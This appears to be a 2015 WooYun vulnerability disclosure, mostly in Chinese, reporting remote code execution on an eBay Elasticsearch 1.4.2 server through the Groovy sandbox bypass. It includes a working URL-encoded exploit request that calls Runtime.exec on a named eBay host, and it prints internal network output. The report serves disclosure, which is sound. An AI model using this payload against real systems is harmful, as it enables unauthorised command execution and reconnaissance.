当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149512

漏洞标题：eBay Search Scripting Engine Remote Code Execution (Bypass firewall)

相关厂商：eBay Inc.

漏洞作者： 猪猪侠

提交时间：2015-10-26 11:15

修复时间：2015-10-31 11:16

公开时间：2015-10-31 11:16

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-26： 细节已通知厂商并且等待厂商处理中
2015-10-31： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

eBay Search Scripting Engine Remote Code Execution (Bypass firewall)

详细说明：

#1 DESCRIPTION

Elasticsearch Groovy Scripting Engine Sandbox Security Bypass Vulnerability
http://www.securityfocus.com/bid/72585
https://www.elastic.co/blog/elasticsearch-1-4-3-and-1-3-8-released


#2 VULNERABILITY
http://mips-lb02.ebayc3.com/

{
  "status" : 200,
  "name" : "mips-master",
  "cluster_name" : "mips.db",
  "version" : {
    "number" : "1.4.2",
    "build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
    "build_timestamp" : "2014-12-16T14:11:12Z",
    "build_snapshot" : false,
    "lucene_version" : "4.10.2"
  },
  "tagline" : "You Know, for Search"
}

漏洞证明：

#3 PROOF OF CONCEPT

http://mips-lb02.ebayc3.com/_search?source=%7B%22size%22%3A1%2C%22script_fields%22%3A%20%7B%22iswin%22%3A%20%7B%22script%22%3A%22java.lang.Math.class.forName%28%5C%22java.io.BufferedReader%5C%22%29.getConstructor%28java.io.Reader.class%29.newInstance%28java.lang.Math.class.forName%28%5C%22java.io.InputStreamReader%5C%22%29.getConstructor%28java.io.InputStream.class%29.newInstance%28java.lang.Math.class.forName%28%5C%22java.lang.Runtime%5C%22%29.getRuntime%28%29.exec%28%5C%22netstat%20-an%5C%22%29.getInputStream%28%29%29%29.readLines%28%29%22%2C%22lang%22%3A%20%22groovy%22%7D%7D%7D


es.png


/sbin/ifconfig -a

{"took":242,"timed_out":false,"_shards":{"total":69,"successful":69,"failed":0},"hits":{"total":321,"max_score":1.0,"hits":[{"_index":"mips","_type":"items","_id":"rpp_54c01345e4b076e493788bf5_141165380495","_score":1.0,"fields":{"iswin":[["eth0      Link encap:Ethernet  HWaddr 74:DB:D1:A0:02:08  ","          inet addr:10.65.187.29  Bcast:10.65.187.255  Mask:255.255.255.0","          inet6 addr: fe80::76db:d1ff:fea0:208/64 Scope:Link","          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1","          RX packets:139625117 errors:0 dropped:0 overruns:0 frame:0","          TX packets:72122815 errors:0 dropped:0 overruns:0 carrier:0","          collisions:0 txqueuelen:1000 ","          RX bytes:12956581403 (12.0 GiB)  TX bytes:9237711324 (8.6 GiB)","","lo        Link encap:Local Loopback  ","          inet addr:127.0.0.1  Mask:255.0.0.0","          inet6 addr: ::1/128 Scope:Host","          UP LOOPBACK RUNNING  MTU:16436  Metric:1","          RX packets:100756 errors:0 dropped:0 overruns:0 frame:0","          TX packets:100756 errors:0 dropped:0 overruns:0 carrier:0","          collisions:0 txqueuelen:0 ","          RX bytes:5241172 (4.9 MiB)  TX bytes:5241172 (4.9 MiB)",""]]}}]}}

修复方案：

# update
https://www.elastic.co/blog/elasticsearch-1-4-3-and-1-3-8-released

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-31 11:16

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无